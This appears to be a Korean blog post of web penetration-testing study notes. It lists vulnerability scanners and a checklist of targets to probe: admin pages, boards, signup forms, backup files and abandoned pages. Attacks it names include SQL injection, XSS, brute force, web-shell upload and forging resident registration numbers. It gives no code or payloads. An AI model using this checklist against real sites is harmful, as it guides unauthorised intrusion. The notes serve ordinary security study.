intellitamper_v2.07.exe

-> 취약점 스캐닝 




cooxie 

IE의 쿠키 편집 및 프록시 설정 변경이 매우 편리한 툴




Acunetix

대표적인 웹 사이트 점검 툴

-> 겁나 비쌈 

-> 사이트의 취약점 스캐닝 





appscan

Acunetix와 더불어 대표적인 상용 스캐너

-> 사이트의 취약점 스캐닝 




absinthe

SQL Injection 취약점을 점검할 수 있는 도구 




-------------


수동 분석




관리자 페이지 

-> 에러메세지 노출

-> sql injection 

-> brute force

-> 소스에 중요 정보 존재 유무


게시판 : 검색 입력창, editor 파일 업로드, UCC 업로드

-> 여러가지 입력창에 XSS, sql injection 시도 

-> 파일 업로드 


회원가입 : 우편번호, 암호찾기, 정보수정

-> 암호화 여부 -> paros, wireshark

-> 주민번호 위조 -> paros



타 기관 연동 프로그램 : 결제 및 인증 시스템

-> 상품 코드 전달 -> DB연동 전달 



사내 인트라넷

-> 관리 허술



디폴트 파일 및 디렉토리

-> 백업 파일 노출



링크 끊긴 사용되지 않는 페이지 : 입사지원(웹쉘 업로드, 업로드, 파일다운로드)

-> 구글링을 통해 페이지 접근, 파일 업로드 





-------------


OWASP top 10

open web application security project

국제 웹 보안 표준기구로 정기적으로 웹해킹 위협의 동향을 발표


3년마다 갱신 


.75



http://192.168.0.75/board/default.htm






















'Web' 카테고리의 다른 글

CSRF  (0) 2014.11.04
advanced web  (0) 2014.10.30
googling  (0) 2014.10.28
session and cookie  (0) 2014.10.27
Web conditions and encoding types  (0) 2014.10.24
Posted by af334
이전버튼 1 2 이전버튼